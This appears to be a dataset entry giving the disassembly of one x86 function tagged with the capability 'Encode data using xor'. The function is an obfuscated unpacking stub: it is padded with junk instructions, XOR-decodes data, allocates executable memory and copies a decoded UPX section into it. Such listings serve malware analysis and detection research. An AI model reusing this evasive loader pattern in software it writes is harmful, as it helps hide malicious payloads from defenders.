Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa43a1791
add eax, 0x2d09b5d5
not esi
popal
not esi
mov esi, 0xc9c5d062
mov esi, eax
mov esi, 0
mov edi, eax
dec edx
mov edx, 0x43e373cf
mov ebx, edi
or ecx, edx
not ecx
not edx
mov eax, ebx
sub ecx, 0xc4e60284
inc edx
not edx
add esi, 1
mov edx, 0x8d9a71c0
mov edx, 0xca2b3267
cmp esi, 0x1003212
jne 0x47b451
sub edx, ecx
inc ecx
mov esi, 0x4b546529
inc esi
add eax, eax
mov eax, 0x47b21e
or ecx, edi
mov edi, ecx
mov esi, 0x47b412
not ecx
add edi, 0xc00575f2
mov ebx, dword [eax]
or edi, edi
sub edx, 0x2153bb7f
dec edi
and ebx, 0xff
or edi, edi
add edx, 0xca4aa8b9
xor dword [esi], ebx
add edi, 0x9096a2ba
sub ecx, 0x169bc684
inc ecx
inc esi
add ecx, ecx
mov edx, edi
sub ecx, edi
inc eax
sub edi, ecx
inc ecx
mov edx, 0x1fd4412a
cmp esi, entry0
jl 0x47b4a9
add ecx, 0xc183ab81
mov ecx, edx
or ecx, edi
add edx, 0xeea8f24b
add edi, esi
or ebx, edx
or edx, esi
mov ecx, 0x47b416
dec ebx
add ebx, 1
mov ecx, dword [ecx]
sub ebx, edi
not edi
mov ecx, dword [ecx]
inc esi
or edi, ebx
sub esp, 4
mov dword [esp], ecx
inc edx
sub ebx, 1
mov ecx, 0x47b412
add edi, ebx
dec esi
mov edi, 0x9ab27edb
mov ecx, dword [ecx]
mov esi, 0x72b3e73a
and edi, edx
mov ecx, dword [ecx]
add esi, 0xd5f7f84c
dec ebx
and edx, edx
push 0x47b41a
sub edx, 0xd9f06355
sub ebx, 1
call ecx
and edi, edi
or edi, edi
or edi, esi
pop ecx
mov edi, ebx
or edi, esi
sub edi, 1
push 0x47b427
mov edi, 0x6b8121d6
inc edx
sub esp, 4
mov dword [esp], eax
sub ebx, 0xd5b0eaa8
and edi, esi
call ecx
or ebx, edx
inc edi
push 0x40
mov esi, edi
sub edx, edi
push 0x3000
or ebx, ebx
not edx
sub edi, ebx
push 0x2000077f
not esi
not esi
push 0
add edi, edi
add edi, edi
call eax
mov ebx, 0x690a398a
mov edi, 0x7442c5b0
or ebx, edi
add eax, 0x200006fa
mov esi, edi
add ebx, 0x34fdc2af
mov ecx, 0x4938701b
and edx, edi
add edx, edi
or ebx, esi
mov dword [eax], ecx
and edi, edi
sub edx, edi
mov ecx, dword [eax]
add esi, 0x86ead1af
mov edi, edx
not ebx
cmp ecx, 0x4938701b
je 0x47b5f8
mov edx, 0
mov cl, byte [edx]
mov esi, ebx
or edi, ebx
sub ebx, edi
dec esi
and esi, edi
dec esi
sub eax, 0x879de095
mov eax, esi
mov ecx, section.UPX1
sub eax, 0xe536d199
inc eax
mov eax, esi
mov edx, 0x47b21d
sub esi, 0x4a5e5857
add esi, 0x77629fb4
sub eax, 0x41b1089a
mov ebx, 0
or esi, eax
inc esi
mov edi, 0x47b21e
sub esi, 0x685e87d5
add eax, 0x45b97f47
sub esi, 0x5c36e980
lea edi, [edi + ebx]
not eax
mov eax, 0x29cdb207
mov edi, dword [edi]
add eax, 0x3fb19a21
dec esi
mov esi, 0x2b6193a0
and edi, 0xff
sub eax, esi
inc eax
inc ebx
add eax, 0x67a7b0b9
dec esi
and eax, eax
cmp ebx, 0x1f4
jne 0x47b686
mov ebx, 0
add eax, eax
and esi, esi
sub esi, 1
sub eax, esi
xor dword [ecx], edi
sub esi, eax
add esi, 1
add ecx, 2
sub eax, 0xed7b252
dec esi
cmp ecx, edx
jl 0x47b637
add eax, esi
sub esi, 0x380864d1
sub eax, 0xad5596b0
or esi, esi
mov edx, section.UPX1
inc ebx
mov ebx, esi
mov edi, section.UPX1
inc esi
add ebx, 0xd475c8bb
mov ecx, 0x47b21d
add esi, 0x8020ef50
and esi, esi
sub esi, 0x5ec002fc
mov eax, 0
dec esi
not ebx
add esi, esi
mov al, byte [edi]
mov ebx, 0xd7ae49bb
not esi
not esi
mov byte [edx], al
and esi, esi
sub esi, ebx
inc edx
mov ebx, 0xae420b37
sub esi, 0x68bc36b3
add edi, 2
mov esi, ebx
dec esi
or ebx, ebx
cmp edi, ecx
jle 0x47b6f2
not esi
dec ebx
mov esi, ebx
not esi
sub eax, 0xfbf77fb5
push 0x45e6a0
dec esi
dec eax
add esi, esi
ret